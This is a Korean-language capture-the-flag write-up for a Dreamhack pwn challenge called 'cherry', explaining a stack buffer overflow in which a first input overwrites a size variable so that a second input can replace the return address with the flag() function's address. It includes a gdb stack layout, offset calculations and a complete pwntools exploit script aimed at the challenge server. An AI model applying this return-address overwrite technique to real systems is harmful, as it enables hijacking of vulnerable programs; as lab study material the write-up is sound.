cherry

strncmp only checks the first six bytes, so the rest of the overflow is free to reach the return address.

2026.08.18 Pwn original post

No excute 가 되어있다.

Figure 1

Figure 2

목표는 flag 함수를 실행 시키는거 같다. 이 코드는 stack overflow 취약점이있다. 특히 buf 크기는 6바이트인데, 16바이 트를 읽고 있다. 중요한 점은 strncmp(buf, “cherry”, 6)이라서 앞 6바이트만 cherry면 되고 뒷자리에는 아무거나 넣을수있다는 점이다. 그래서 아마, main 함수가 끝날 때 원래 돌아갈 주소 대신 flag() 함수 주소로 이동하게 만드는 코드인거 같다.

아마 자세한 오프셋과 flag() 함수의 주소를 알아 내려면, gdb 로 main stack frame 을 확인해야할거 같다. 참고로 플래그 함수의 주소는 그냥 shell = e.symbols[‘flag’] 로 얻어 내면된다!

이게 내가 gdb 어셈블리어를 분석해 확인한 메인 스택 프레임이다. 높은 주소

────────────────────────

rbp+0x08 saved RIP ← ret 때 여기로 점프

rbp+0x00 saved RBP
────────────────────────
rbp-0x04 stdin_fd = 0
rbp-0x08 stdout_fd = 1
rbp-0x0c buf_size = 0x10
rbp-0x12 fruit[6] = "cherry"
rbp-0x18 buf[6]
rbp-0x24 argc
rbp-0x30 argv
────────────────────────

낮은 주소

처음 입력에는 buf는 6바이트인데 16바이트밖에 못 읽습니다.

그래서 첫 번째 read는 여기까지 밖에 못 덮습니다.

rbp-0x18 ~ rbp-0x13 buf[6]
rbp-0x12 ~ rbp-0x0d fruit[6]

rbp-0x0c ~ rbp-0x09 buf_size 일부

즉 ret 까지 덮기에 한참 부족합니다. 두번째를 더해도, fruit도 6바이트여서 16바이트만 읽고 리드 까지 가지 못합니다. 하지만 2차 입력 때는 이미 buf_size 의 값이 스택에서 overwrite 됬기 때문에 더 쓸수있습니다. 이미지로 보여주면:

offset 0~5 → buf = "cherry"
offset 6~11 → fruit = "AAAAAA"
offset 12~15 → buf_size = "AAAA"

그후,

fruit - rbp (right before reach the ret address)

(rbp+0x08) - (rbp-0x12)
= 0x1a
= 26 bytes

니까

from pwn import * p = remote('host3.dreamhack.games', 20689) e = ELF('./chall') address =
e.symbols['flag'] p.recvuntil(b': ') payload = b'cherry' payload += b'A'*10 p.send(payload) p.recvuntil(': ')
payload = b'a'*26 payload += p64(address) p.send(payload) p.interactive()